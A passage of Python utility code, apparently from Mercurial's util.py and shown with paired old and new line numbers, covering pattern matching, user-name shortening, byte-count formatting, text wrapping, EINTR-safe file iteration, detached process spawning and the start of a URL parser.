2187 if pattern.startswith('re:'):
2189 if pattern.startswith('re:'):
2188 pattern = pattern[3:]
2190 pattern = pattern[3:]
2189 try:
2191 try:
2190 flags = 0
2192 flags = 0
2191 if not casesensitive:
2193 if not casesensitive:
2192 flags = remod.I
2194 flags = remod.I
2193 regex = remod.compile(pattern, flags)
2195 regex = remod.compile(pattern, flags)
2194 except remod.error as e:
2196 except remod.error as e:
2195 raise error.ParseError(_('invalid regular expression: %s')
2197 raise error.ParseError(_('invalid regular expression: %s')
2196 % e)
2198 % e)
2197 return 're', pattern, regex.search
2199 return 're', pattern, regex.search
2198 elif pattern.startswith('literal:'):
2200 elif pattern.startswith('literal:'):
2199 pattern = pattern[8:]
2201 pattern = pattern[8:]
2200
2202
2201 match = pattern.__eq__
2203 match = pattern.__eq__
2202
2204
2203 if not casesensitive:
2205 if not casesensitive:
2204 ipat = encoding.lower(pattern)
2206 ipat = encoding.lower(pattern)
2205 match = lambda s: ipat == encoding.lower(s)
2207 match = lambda s: ipat == encoding.lower(s)
2206 return 'literal', pattern, match
2208 return 'literal', pattern, match
2207
2209
2208 def shortuser(user):
2210 def shortuser(user):
2209 """Return a short representation of a user name or email address."""
2211 """Return a short representation of a user name or email address."""
2210 f = user.find('@')
2212 f = user.find('@')
2211 if f >= 0:
2213 if f >= 0:
2212 user = user[:f]
2214 user = user[:f]
2213 f = user.find('<')
2215 f = user.find('<')
2214 if f >= 0:
2216 if f >= 0:
2215 user = user[f + 1:]
2217 user = user[f + 1:]
2216 f = user.find(' ')
2218 f = user.find(' ')
2217 if f >= 0:
2219 if f >= 0:
2218 user = user[:f]
2220 user = user[:f]
2219 f = user.find('.')
2221 f = user.find('.')
2220 if f >= 0:
2222 if f >= 0:
2221 user = user[:f]
2223 user = user[:f]
2222 return user
2224 return user
2223
2225
2224 def emailuser(user):
2226 def emailuser(user):
2225 """Return the user portion of an email address."""
2227 """Return the user portion of an email address."""
2226 f = user.find('@')
2228 f = user.find('@')
2227 if f >= 0:
2229 if f >= 0:
2228 user = user[:f]
2230 user = user[:f]
2229 f = user.find('<')
2231 f = user.find('<')
2230 if f >= 0:
2232 if f >= 0:
2231 user = user[f + 1:]
2233 user = user[f + 1:]
2232 return user
2234 return user
2233
2235
2234 def email(author):
2236 def email(author):
2235 '''get email of author.'''
2237 '''get email of author.'''
2236 r = author.find('>')
2238 r = author.find('>')
2237 if r == -1:
2239 if r == -1:
2238 r = None
2240 r = None
2239 return author[author.find('<') + 1:r]
2241 return author[author.find('<') + 1:r]
2240
2242
2241 def ellipsis(text, maxlength=400):
2243 def ellipsis(text, maxlength=400):
2242 """Trim string to at most maxlength (default: 400) columns in display."""
2244 """Trim string to at most maxlength (default: 400) columns in display."""
2243 return encoding.trim(text, maxlength, ellipsis='...')
2245 return encoding.trim(text, maxlength, ellipsis='...')
2244
2246
2245 def unitcountfn(*unittable):
2247 def unitcountfn(*unittable):
2246 '''return a function that renders a readable count of some quantity'''
2248 '''return a function that renders a readable count of some quantity'''
2247
2249
2248 def go(count):
2250 def go(count):
2249 for multiplier, divisor, format in unittable:
2251 for multiplier, divisor, format in unittable:
2250 if abs(count) >= divisor * multiplier:
2252 if abs(count) >= divisor * multiplier:
2251 return format % (count / float(divisor))
2253 return format % (count / float(divisor))
2252 return unittable[-1][2] % count
2254 return unittable[-1][2] % count
2253
2255
2254 return go
2256 return go
2255
2257
2256 def processlinerange(fromline, toline):
2258 def processlinerange(fromline, toline):
2257 """Check that linerange <fromline>:<toline> makes sense and return a
2259 """Check that linerange <fromline>:<toline> makes sense and return a
2258 0-based range.
2260 0-based range.
2259
2261
2260 >>> processlinerange(10, 20)
2262 >>> processlinerange(10, 20)
2261 (9, 20)
2263 (9, 20)
2262 >>> processlinerange(2, 1)
2264 >>> processlinerange(2, 1)
2263 Traceback (most recent call last):
2265 Traceback (most recent call last):
2264 ...
2266 ...
2265 ParseError: line range must be positive
2267 ParseError: line range must be positive
2266 >>> processlinerange(0, 5)
2268 >>> processlinerange(0, 5)
2267 Traceback (most recent call last):
2269 Traceback (most recent call last):
2268 ...
2270 ...
2269 ParseError: fromline must be strictly positive
2271 ParseError: fromline must be strictly positive
2270 """
2272 """
2271 if toline - fromline < 0:
2273 if toline - fromline < 0:
2272 raise error.ParseError(_("line range must be positive"))
2274 raise error.ParseError(_("line range must be positive"))
2273 if fromline < 1:
2275 if fromline < 1:
2274 raise error.ParseError(_("fromline must be strictly positive"))
2276 raise error.ParseError(_("fromline must be strictly positive"))
2275 return fromline - 1, toline
2277 return fromline - 1, toline
2276
2278
2277 bytecount = unitcountfn(
2279 bytecount = unitcountfn(
2278 (100, 1 << 30, _('%.0f GB')),
2280 (100, 1 << 30, _('%.0f GB')),
2279 (10, 1 << 30, _('%.1f GB')),
2281 (10, 1 << 30, _('%.1f GB')),
2280 (1, 1 << 30, _('%.2f GB')),
2282 (1, 1 << 30, _('%.2f GB')),
2281 (100, 1 << 20, _('%.0f MB')),
2283 (100, 1 << 20, _('%.0f MB')),
2282 (10, 1 << 20, _('%.1f MB')),
2284 (10, 1 << 20, _('%.1f MB')),
2283 (1, 1 << 20, _('%.2f MB')),
2285 (1, 1 << 20, _('%.2f MB')),
2284 (100, 1 << 10, _('%.0f KB')),
2286 (100, 1 << 10, _('%.0f KB')),
2285 (10, 1 << 10, _('%.1f KB')),
2287 (10, 1 << 10, _('%.1f KB')),
2286 (1, 1 << 10, _('%.2f KB')),
2288 (1, 1 << 10, _('%.2f KB')),
2287 (1, 1, _('%.0f bytes')),
2289 (1, 1, _('%.0f bytes')),
2288 )
2290 )
2289
2291
2290 # Matches a single EOL which can either be a CRLF where repeated CR
2292 # Matches a single EOL which can either be a CRLF where repeated CR
2291 # are removed or a LF. We do not care about old Macintosh files, so a
2293 # are removed or a LF. We do not care about old Macintosh files, so a
2292 # stray CR is an error.
2294 # stray CR is an error.
2293 _eolre = remod.compile(br'\r*\n')
2295 _eolre = remod.compile(br'\r*\n')
2294
2296
2295 def tolf(s):
2297 def tolf(s):
2296 return _eolre.sub('\n', s)
2298 return _eolre.sub('\n', s)
2297
2299
2298 def tocrlf(s):
2300 def tocrlf(s):
2299 return _eolre.sub('\r\n', s)
2301 return _eolre.sub('\r\n', s)
2300
2302
2301 if pycompat.oslinesep == '\r\n':
2303 if pycompat.oslinesep == '\r\n':
2302 tonativeeol = tocrlf
2304 tonativeeol = tocrlf
2303 fromnativeeol = tolf
2305 fromnativeeol = tolf
2304 else:
2306 else:
2305 tonativeeol = pycompat.identity
2307 tonativeeol = pycompat.identity
2306 fromnativeeol = pycompat.identity
2308 fromnativeeol = pycompat.identity
2307
2309
2308 def escapestr(s):
2310 def escapestr(s):
2309 # call underlying function of s.encode('string_escape') directly for
2311 # call underlying function of s.encode('string_escape') directly for
2310 # Python 3 compatibility
2312 # Python 3 compatibility
2311 return codecs.escape_encode(s)[0]
2313 return codecs.escape_encode(s)[0]
2312
2314
2313 def unescapestr(s):
2315 def unescapestr(s):
2314 return codecs.escape_decode(s)[0]
2316 return codecs.escape_decode(s)[0]
2315
2317
2316 def forcebytestr(obj):
2318 def forcebytestr(obj):
2317 """Portably format an arbitrary object (e.g. exception) into a byte
2319 """Portably format an arbitrary object (e.g. exception) into a byte
2318 string."""
2320 string."""
2319 try:
2321 try:
2320 return pycompat.bytestr(obj)
2322 return pycompat.bytestr(obj)
2321 except UnicodeEncodeError:
2323 except UnicodeEncodeError:
2322 # non-ascii string, may be lossy
2324 # non-ascii string, may be lossy
2323 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2325 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2324
2326
2325 def uirepr(s):
2327 def uirepr(s):
2326 # Avoid double backslash in Windows path repr()
2328 # Avoid double backslash in Windows path repr()
2327 return repr(s).replace('\\\\', '\\')
2329 return repr(s).replace('\\\\', '\\')
2328
2330
2329 # delay import of textwrap
2331 # delay import of textwrap
2330 def MBTextWrapper(**kwargs):
2332 def MBTextWrapper(**kwargs):
2331 class tw(textwrap.TextWrapper):
2333 class tw(textwrap.TextWrapper):
2332 """
2334 """
2333 Extend TextWrapper for width-awareness.
2335 Extend TextWrapper for width-awareness.
2334
2336
2335 Neither number of 'bytes' in any encoding nor 'characters' is
2337 Neither number of 'bytes' in any encoding nor 'characters' is
2336 appropriate to calculate terminal columns for specified string.
2338 appropriate to calculate terminal columns for specified string.
2337
2339
2338 Original TextWrapper implementation uses built-in 'len()' directly,
2340 Original TextWrapper implementation uses built-in 'len()' directly,
2339 so overriding is needed to use width information of each characters.
2341 so overriding is needed to use width information of each characters.
2340
2342
2341 In addition, characters classified into 'ambiguous' width are
2343 In addition, characters classified into 'ambiguous' width are
2342 treated as wide in East Asian area, but as narrow in other.
2344 treated as wide in East Asian area, but as narrow in other.
2343
2345
2344 This requires use decision to determine width of such characters.
2346 This requires use decision to determine width of such characters.
2345 """
2347 """
2346 def _cutdown(self, ucstr, space_left):
2348 def _cutdown(self, ucstr, space_left):
2347 l = 0
2349 l = 0
2348 colwidth = encoding.ucolwidth
2350 colwidth = encoding.ucolwidth
2349 for i in xrange(len(ucstr)):
2351 for i in xrange(len(ucstr)):
2350 l += colwidth(ucstr[i])
2352 l += colwidth(ucstr[i])
2351 if space_left < l:
2353 if space_left < l:
2352 return (ucstr[:i], ucstr[i:])
2354 return (ucstr[:i], ucstr[i:])
2353 return ucstr, ''
2355 return ucstr, ''
2354
2356
2355 # overriding of base class
2357 # overriding of base class
2356 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2358 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2357 space_left = max(width - cur_len, 1)
2359 space_left = max(width - cur_len, 1)
2358
2360
2359 if self.break_long_words:
2361 if self.break_long_words:
2360 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2362 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2361 cur_line.append(cut)
2363 cur_line.append(cut)
2362 reversed_chunks[-1] = res
2364 reversed_chunks[-1] = res
2363 elif not cur_line:
2365 elif not cur_line:
2364 cur_line.append(reversed_chunks.pop())
2366 cur_line.append(reversed_chunks.pop())
2365
2367
2366 # this overriding code is imported from TextWrapper of Python 2.6
2368 # this overriding code is imported from TextWrapper of Python 2.6
2367 # to calculate columns of string by 'encoding.ucolwidth()'
2369 # to calculate columns of string by 'encoding.ucolwidth()'
2368 def _wrap_chunks(self, chunks):
2370 def _wrap_chunks(self, chunks):
2369 colwidth = encoding.ucolwidth
2371 colwidth = encoding.ucolwidth
2370
2372
2371 lines = []
2373 lines = []
2372 if self.width <= 0:
2374 if self.width <= 0:
2373 raise ValueError("invalid width %r (must be > 0)" % self.width)
2375 raise ValueError("invalid width %r (must be > 0)" % self.width)
2374
2376
2375 # Arrange in reverse order so items can be efficiently popped
2377 # Arrange in reverse order so items can be efficiently popped
2376 # from a stack of chucks.
2378 # from a stack of chucks.
2377 chunks.reverse()
2379 chunks.reverse()
2378
2380
2379 while chunks:
2381 while chunks:
2380
2382
2381 # Start the list of chunks that will make up the current line.
2383 # Start the list of chunks that will make up the current line.
2382 # cur_len is just the length of all the chunks in cur_line.
2384 # cur_len is just the length of all the chunks in cur_line.
2383 cur_line = []
2385 cur_line = []
2384 cur_len = 0
2386 cur_len = 0
2385
2387
2386 # Figure out which static string will prefix this line.
2388 # Figure out which static string will prefix this line.
2387 if lines:
2389 if lines:
2388 indent = self.subsequent_indent
2390 indent = self.subsequent_indent
2389 else:
2391 else:
2390 indent = self.initial_indent
2392 indent = self.initial_indent
2391
2393
2392 # Maximum width for this line.
2394 # Maximum width for this line.
2393 width = self.width - len(indent)
2395 width = self.width - len(indent)
2394
2396
2395 # First chunk on line is whitespace -- drop it, unless this
2397 # First chunk on line is whitespace -- drop it, unless this
2396 # is the very beginning of the text (i.e. no lines started yet).
2398 # is the very beginning of the text (i.e. no lines started yet).
2397 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2399 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2398 del chunks[-1]
2400 del chunks[-1]
2399
2401
2400 while chunks:
2402 while chunks:
2401 l = colwidth(chunks[-1])
2403 l = colwidth(chunks[-1])
2402
2404
2403 # Can at least squeeze this chunk onto the current line.
2405 # Can at least squeeze this chunk onto the current line.
2404 if cur_len + l <= width:
2406 if cur_len + l <= width:
2405 cur_line.append(chunks.pop())
2407 cur_line.append(chunks.pop())
2406 cur_len += l
2408 cur_len += l
2407
2409
2408 # Nope, this line is full.
2410 # Nope, this line is full.
2409 else:
2411 else:
2410 break
2412 break
2411
2413
2412 # The current line is full, and the next chunk is too big to
2414 # The current line is full, and the next chunk is too big to
2413 # fit on *any* line (not just this one).
2415 # fit on *any* line (not just this one).
2414 if chunks and colwidth(chunks[-1]) > width:
2416 if chunks and colwidth(chunks[-1]) > width:
2415 self._handle_long_word(chunks, cur_line, cur_len, width)
2417 self._handle_long_word(chunks, cur_line, cur_len, width)
2416
2418
2417 # If the last chunk on this line is all whitespace, drop it.
2419 # If the last chunk on this line is all whitespace, drop it.
2418 if (self.drop_whitespace and
2420 if (self.drop_whitespace and
2419 cur_line and cur_line[-1].strip() == r''):
2421 cur_line and cur_line[-1].strip() == r''):
2420 del cur_line[-1]
2422 del cur_line[-1]
2421
2423
2422 # Convert current line back to a string and store it in list
2424 # Convert current line back to a string and store it in list
2423 # of all lines (return value).
2425 # of all lines (return value).
2424 if cur_line:
2426 if cur_line:
2425 lines.append(indent + r''.join(cur_line))
2427 lines.append(indent + r''.join(cur_line))
2426
2428
2427 return lines
2429 return lines
2428
2430
2429 global MBTextWrapper
2431 global MBTextWrapper
2430 MBTextWrapper = tw
2432 MBTextWrapper = tw
2431 return tw(**kwargs)
2433 return tw(**kwargs)
2432
2434
2433 def wrap(line, width, initindent='', hangindent=''):
2435 def wrap(line, width, initindent='', hangindent=''):
2434 maxindent = max(len(hangindent), len(initindent))
2436 maxindent = max(len(hangindent), len(initindent))
2435 if width <= maxindent:
2437 if width <= maxindent:
2436 # adjust for weird terminal size
2438 # adjust for weird terminal size
2437 width = max(78, maxindent + 1)
2439 width = max(78, maxindent + 1)
2438 line = line.decode(pycompat.sysstr(encoding.encoding),
2440 line = line.decode(pycompat.sysstr(encoding.encoding),
2439 pycompat.sysstr(encoding.encodingmode))
2441 pycompat.sysstr(encoding.encodingmode))
2440 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2442 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2441 pycompat.sysstr(encoding.encodingmode))
2443 pycompat.sysstr(encoding.encodingmode))
2442 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2444 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2443 pycompat.sysstr(encoding.encodingmode))
2445 pycompat.sysstr(encoding.encodingmode))
2444 wrapper = MBTextWrapper(width=width,
2446 wrapper = MBTextWrapper(width=width,
2445 initial_indent=initindent,
2447 initial_indent=initindent,
2446 subsequent_indent=hangindent)
2448 subsequent_indent=hangindent)
2447 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2449 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2448
2450
2449 if (pyplatform.python_implementation() == 'CPython' and
2451 if (pyplatform.python_implementation() == 'CPython' and
2450 sys.version_info < (3, 0)):
2452 sys.version_info < (3, 0)):
2451 # There is an issue in CPython that some IO methods do not handle EINTR
2453 # There is an issue in CPython that some IO methods do not handle EINTR
2452 # correctly. The following table shows what CPython version (and functions)
2454 # correctly. The following table shows what CPython version (and functions)
2453 # are affected (buggy: has the EINTR bug, okay: otherwise):
2455 # are affected (buggy: has the EINTR bug, okay: otherwise):
2454 #
2456 #
2455 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2457 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2456 # --------------------------------------------------
2458 # --------------------------------------------------
2457 # fp.__iter__ | buggy | buggy | okay
2459 # fp.__iter__ | buggy | buggy | okay
2458 # fp.read* | buggy | okay [1] | okay
2460 # fp.read* | buggy | okay [1] | okay
2459 #
2461 #
2460 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2462 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2461 #
2463 #
2462 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2464 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2463 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2465 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2464 #
2466 #
2465 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2467 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2466 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2468 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2467 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2469 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2468 # fp.__iter__ but not other fp.read* methods.
2470 # fp.__iter__ but not other fp.read* methods.
2469 #
2471 #
2470 # On modern systems like Linux, the "read" syscall cannot be interrupted
2472 # On modern systems like Linux, the "read" syscall cannot be interrupted
2471 # when reading "fast" files like on-disk files. So the EINTR issue only
2473 # when reading "fast" files like on-disk files. So the EINTR issue only
2472 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2474 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2473 # files approximately as "fast" files and use the fast (unsafe) code path,
2475 # files approximately as "fast" files and use the fast (unsafe) code path,
2474 # to minimize the performance impact.
2476 # to minimize the performance impact.
2475 if sys.version_info >= (2, 7, 4):
2477 if sys.version_info >= (2, 7, 4):
2476 # fp.readline deals with EINTR correctly, use it as a workaround.
2478 # fp.readline deals with EINTR correctly, use it as a workaround.
2477 def _safeiterfile(fp):
2479 def _safeiterfile(fp):
2478 return iter(fp.readline, '')
2480 return iter(fp.readline, '')
2479 else:
2481 else:
2480 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2482 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2481 # note: this may block longer than necessary because of bufsize.
2483 # note: this may block longer than necessary because of bufsize.
2482 def _safeiterfile(fp, bufsize=4096):
2484 def _safeiterfile(fp, bufsize=4096):
2483 fd = fp.fileno()
2485 fd = fp.fileno()
2484 line = ''
2486 line = ''
2485 while True:
2487 while True:
2486 try:
2488 try:
2487 buf = os.read(fd, bufsize)
2489 buf = os.read(fd, bufsize)
2488 except OSError as ex:
2490 except OSError as ex:
2489 # os.read only raises EINTR before any data is read
2491 # os.read only raises EINTR before any data is read
2490 if ex.errno == errno.EINTR:
2492 if ex.errno == errno.EINTR:
2491 continue
2493 continue
2492 else:
2494 else:
2493 raise
2495 raise
2494 line += buf
2496 line += buf
2495 if '\n' in buf:
2497 if '\n' in buf:
2496 splitted = line.splitlines(True)
2498 splitted = line.splitlines(True)
2497 line = ''
2499 line = ''
2498 for l in splitted:
2500 for l in splitted:
2499 if l[-1] == '\n':
2501 if l[-1] == '\n':
2500 yield l
2502 yield l
2501 else:
2503 else:
2502 line = l
2504 line = l
2503 if not buf:
2505 if not buf:
2504 break
2506 break
2505 if line:
2507 if line:
2506 yield line
2508 yield line
2507
2509
2508 def iterfile(fp):
2510 def iterfile(fp):
2509 fastpath = True
2511 fastpath = True
2510 if type(fp) is file:
2512 if type(fp) is file:
2511 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2513 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2512 if fastpath:
2514 if fastpath:
2513 return fp
2515 return fp
2514 else:
2516 else:
2515 return _safeiterfile(fp)
2517 return _safeiterfile(fp)
2516 else:
2518 else:
2517 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2519 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2518 def iterfile(fp):
2520 def iterfile(fp):
2519 return fp
2521 return fp
2520
2522
2521 def iterlines(iterator):
2523 def iterlines(iterator):
2522 for chunk in iterator:
2524 for chunk in iterator:
2523 for line in chunk.splitlines():
2525 for line in chunk.splitlines():
2524 yield line
2526 yield line
2525
2527
2526 def expandpath(path):
2528 def expandpath(path):
2527 return os.path.expanduser(os.path.expandvars(path))
2529 return os.path.expanduser(os.path.expandvars(path))
2528
2530
2529 def hgcmd():
2531 def hgcmd():
2530 """Return the command used to execute current hg
2532 """Return the command used to execute current hg
2531
2533
2532 This is different from hgexecutable() because on Windows we want
2534 This is different from hgexecutable() because on Windows we want
2533 to avoid things opening new shell windows like batch files, so we
2535 to avoid things opening new shell windows like batch files, so we
2534 get either the python call or current executable.
2536 get either the python call or current executable.
2535 """
2537 """
2536 if mainfrozen():
2538 if mainfrozen():
2537 if getattr(sys, 'frozen', None) == 'macosx_app':
2539 if getattr(sys, 'frozen', None) == 'macosx_app':
2538 # Env variable set by py2app
2540 # Env variable set by py2app
2539 return [encoding.environ['EXECUTABLEPATH']]
2541 return [encoding.environ['EXECUTABLEPATH']]
2540 else:
2542 else:
2541 return [pycompat.sysexecutable]
2543 return [pycompat.sysexecutable]
2542 return gethgcmd()
2544 return gethgcmd()
2543
2545
2544 def rundetached(args, condfn):
2546 def rundetached(args, condfn):
2545 """Execute the argument list in a detached process.
2547 """Execute the argument list in a detached process.
2546
2548
2547 condfn is a callable which is called repeatedly and should return
2549 condfn is a callable which is called repeatedly and should return
2548 True once the child process is known to have started successfully.
2550 True once the child process is known to have started successfully.
2549 At this point, the child process PID is returned. If the child
2551 At this point, the child process PID is returned. If the child
2550 process fails to start or finishes before condfn() evaluates to
2552 process fails to start or finishes before condfn() evaluates to
2551 True, return -1.
2553 True, return -1.
2552 """
2554 """
2553 # Windows case is easier because the child process is either
2555 # Windows case is easier because the child process is either
2554 # successfully starting and validating the condition or exiting
2556 # successfully starting and validating the condition or exiting
2555 # on failure. We just poll on its PID. On Unix, if the child
2557 # on failure. We just poll on its PID. On Unix, if the child
2556 # process fails to start, it will be left in a zombie state until
2558 # process fails to start, it will be left in a zombie state until
2557 # the parent wait on it, which we cannot do since we expect a long
2559 # the parent wait on it, which we cannot do since we expect a long
2558 # running process on success. Instead we listen for SIGCHLD telling
2560 # running process on success. Instead we listen for SIGCHLD telling
2559 # us our child process terminated.
2561 # us our child process terminated.
2560 terminated = set()
2562 terminated = set()
2561 def handler(signum, frame):
2563 def handler(signum, frame):
2562 terminated.add(os.wait())
2564 terminated.add(os.wait())
2563 prevhandler = None
2565 prevhandler = None
2564 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2566 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2565 if SIGCHLD is not None:
2567 if SIGCHLD is not None:
2566 prevhandler = signal.signal(SIGCHLD, handler)
2568 prevhandler = signal.signal(SIGCHLD, handler)
2567 try:
2569 try:
2568 pid = spawndetached(args)
2570 pid = spawndetached(args)
2569 while not condfn():
2571 while not condfn():
2570 if ((pid in terminated or not testpid(pid))
2572 if ((pid in terminated or not testpid(pid))
2571 and not condfn()):
2573 and not condfn()):
2572 return -1
2574 return -1
2573 time.sleep(0.1)
2575 time.sleep(0.1)
2574 return pid
2576 return pid
2575 finally:
2577 finally:
2576 if prevhandler is not None:
2578 if prevhandler is not None:
2577 signal.signal(signal.SIGCHLD, prevhandler)
2579 signal.signal(signal.SIGCHLD, prevhandler)
2578
2580
2579 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2581 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2580 """Return the result of interpolating items in the mapping into string s.
2582 """Return the result of interpolating items in the mapping into string s.
2581
2583
2582 prefix is a single character string, or a two character string with
2584 prefix is a single character string, or a two character string with
2583 a backslash as the first character if the prefix needs to be escaped in
2585 a backslash as the first character if the prefix needs to be escaped in
2584 a regular expression.
2586 a regular expression.
2585
2587
2586 fn is an optional function that will be applied to the replacement text
2588 fn is an optional function that will be applied to the replacement text
2587 just before replacement.
2589 just before replacement.
2588
2590
2589 escape_prefix is an optional flag that allows using doubled prefix for
2591 escape_prefix is an optional flag that allows using doubled prefix for
2590 its escaping.
2592 its escaping.
2591 """
2593 """
2592 fn = fn or (lambda s: s)
2594 fn = fn or (lambda s: s)
2593 patterns = '|'.join(mapping.keys())
2595 patterns = '|'.join(mapping.keys())
2594 if escape_prefix:
2596 if escape_prefix:
2595 patterns += '|' + prefix
2597 patterns += '|' + prefix
2596 if len(prefix) > 1:
2598 if len(prefix) > 1:
2597 prefix_char = prefix[1:]
2599 prefix_char = prefix[1:]
2598 else:
2600 else:
2599 prefix_char = prefix
2601 prefix_char = prefix
2600 mapping[prefix_char] = prefix_char
2602 mapping[prefix_char] = prefix_char
2601 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2603 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2602 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2604 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2603
2605
2604 def getport(port):
2606 def getport(port):
2605 """Return the port for a given network service.
2607 """Return the port for a given network service.
2606
2608
2607 If port is an integer, it's returned as is. If it's a string, it's
2609 If port is an integer, it's returned as is. If it's a string, it's
2608 looked up using socket.getservbyname(). If there's no matching
2610 looked up using socket.getservbyname(). If there's no matching
2609 service, error.Abort is raised.
2611 service, error.Abort is raised.
2610 """
2612 """
2611 try:
2613 try:
2612 return int(port)
2614 return int(port)
2613 except ValueError:
2615 except ValueError:
2614 pass
2616 pass
2615
2617
2616 try:
2618 try:
2617 return socket.getservbyname(port)
2619 return socket.getservbyname(port)
2618 except socket.error:
2620 except socket.error:
2619 raise Abort(_("no port number associated with service '%s'") % port)
2621 raise Abort(_("no port number associated with service '%s'") % port)
2620
2622
2621 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2623 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2622 '0': False, 'no': False, 'false': False, 'off': False,
2624 '0': False, 'no': False, 'false': False, 'off': False,
2623 'never': False}
2625 'never': False}
2624
2626
2625 def parsebool(s):
2627 def parsebool(s):
2626 """Parse s into a boolean.
2628 """Parse s into a boolean.
2627
2629
2628 If s is not a valid boolean, returns None.
2630 If s is not a valid boolean, returns None.
2629 """
2631 """
2630 return _booleans.get(s.lower(), None)
2632 return _booleans.get(s.lower(), None)
2631
2633
2632 _hextochr = dict((a + b, chr(int(a + b, 16)))
2634 _hextochr = dict((a + b, chr(int(a + b, 16)))
2633 for a in string.hexdigits for b in string.hexdigits)
2635 for a in string.hexdigits for b in string.hexdigits)
2634
2636
2635 class url(object):
2637 class url(object):
2636 r"""Reliable URL parser.
2638 r"""Reliable URL parser.
2637
2639
2638 This parses URLs and provides attributes for the following
2640 This parses URLs and provides attributes for the following
2639 components:
2641 components:
2640
2642
2641 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2643 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2642
2644
2643 Missing components are set to None. The only exception is
2645 Missing components are set to None. The only exception is
2644 fragment, which is set to '' if present but empty.
2646 fragment, which is set to '' if present but empty.
2645
2647
2646 If parsefragment is False, fragment is included in query. If
2648 If parsefragment is False, fragment is included in query. If
2647 parsequery is False, query is included in path. If both are
2649 parsequery is False, query is included in path. If both are
2648 False, both fragment and query are included in path.
2650 False, both fragment and query are included in path.
2649
2651
2650 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2652 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2651
2653
2652 Note that for backward compatibility reasons, bundle URLs do not
2654 Note that for backward compatibility reasons, bundle URLs do not
2653 take host names. That means 'bundle://../' has a path of '../'.
2655 take host names. That means 'bundle://../' has a path of '../'.
2654
2656
2655 Examples:
2657 Examples:
2656
2658
2657 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2659 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2658 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2660 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2659 >>> url('ssh://[::1]:2200//home/joe/repo')
2661 >>> url('ssh://[::1]:2200//home/joe/repo')
2660 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2662 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2661 >>> url('file:///home/joe/repo')
2663 >>> url('file:///home/joe/repo')
2662 <url scheme: 'file', path: '/home/joe/repo'>
2664 <url scheme: 'file', path: '/home/joe/repo'>
2663 >>> url('file:///c:/temp/foo/')
2665 >>> url('file:///c:/temp/foo/')
2664 <url scheme: 'file', path: 'c:/temp/foo/'>
2666 <url scheme: 'file', path: 'c:/temp/foo/'>
2665 >>> url('bundle:foo')
2667 >>> url('bundle:foo')
2666 <url scheme: 'bundle', path: 'foo'>
2668 <url scheme: 'bundle', path: 'foo'>
2667 >>> url('bundle://../foo')
2669 >>> url('bundle://../foo')
2668 <url scheme: 'bundle', path: '../foo'>
2670 <url scheme: 'bundle', path: '../foo'>
2669 >>> url(r'c:\foo\bar')
2671 >>> url(r'c:\foo\bar')
2670 <url path: 'c:\\foo\\bar'>
2672 <url path: 'c:\\foo\\bar'>
2671 >>> url(r'\\blah\blah\blah')
2673 >>> url(r'\\blah\blah\blah')
2672 <url path: '\\\\blah\\blah\\blah'>
2674 <url path: '\\\\blah\\blah\\blah'>
2673 >>> url(r'\\blah\blah\blah#baz')
2675 >>> url(r'\\blah\blah\blah#baz')
2674 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2676 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2675 >>> url(r'file:///C:\users\me')
2677 >>> url(r'file:///C:\users\me')
